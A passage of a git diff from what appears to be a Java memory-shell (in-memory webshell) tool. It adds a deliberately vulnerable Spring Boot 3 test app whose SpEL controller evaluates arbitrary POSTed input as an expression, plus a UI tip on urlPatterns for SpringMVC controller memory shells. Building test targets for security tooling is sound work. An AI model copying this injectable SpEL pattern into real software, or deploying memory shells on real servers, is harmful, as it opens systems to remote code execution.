ignored) { + + } + } + throw new NoSuchFieldException(name); + } + + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + try { + Field field = getField(obj, name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + } + return null; + } + + @GetMapping("/") + public String index() { + return "hello"; + } +} diff --git a/vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/controller/SpELController.java b/vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/controller/SpELController.java new file mode 100644 index 00000000..a5e30252 --- /dev/null +++ b/vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/controller/SpELController.java @@ -0,0 +1,25 @@ +package com.reajason.javaweb.vul.springboot3.controller; + +import org.springframework.expression.spel.standard.SpelExpressionParser; +import org.springframework.expression.spel.support.StandardEvaluationContext; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@RestController +@RequestMapping("/spel") +public class SpELController { + + /** + * 10000 长度限制,无法使用 + */ + @PostMapping + public ResponseEntity spel(String data) { + return ResponseEntity.ok().body(String.valueOf(new SpelExpressionParser().parseExpression(data).getValue(new StandardEvaluationContext()))); + } +} diff --git a/vul/vul-springboot3/src/main/resources/application.properties b/vul/vul-springboot3/src/main/resources/application.properties new file mode 100644 index 00000000..a83ba03e --- /dev/null +++ b/vul/vul-springboot3/src/main/resources/application.properties @@ -0,0 +1 @@ +spring.application.name=vul-springboot3 diff --git a/vul/vul-springboot3/src/test/java/com/reajason/javaweb/vul/springboot3/VulSpringboot3ApplicationTests.java b/vul/vul-springboot3/src/test/java/com/reajason/javaweb/vul/springboot3/VulSpringboot3ApplicationTests.java new file mode 100644 index 00000000..ba3bd640 --- /dev/null +++ b/vul/vul-springboot3/src/test/java/com/reajason/javaweb/vul/springboot3/VulSpringboot3ApplicationTests.java @@ -0,0 +1,13 @@ +package com.reajason.javaweb.vul.springboot3; + +import org.junit.jupiter.api.Test; +import org.springframework.boot.test.context.SpringBootTest; + +@SpringBootTest +class VulSpringboot3ApplicationTests { + + @Test + void contextLoads() { + } + +} diff --git a/web/src/components/tips/url-pattern-tip.tsx b/web/src/components/tips/url-pattern-tip.tsx index 93bf581a..6294ead9 100644 --- a/web/src/components/tips/url-pattern-tip.tsx +++ b/web/src/components/tips/url-pattern-tip.tsx @@ -10,6 +10,7 @@ export function UrlPatternTip() {

当使用 Servlet 内存马时必须写具体的 urlPattern,不能使用 /*,不然无法使用

+

当使用 SpringMVC ControllerHandler 内存马时必须写具体的 urlPattern,不能使用 /*,不然无法使用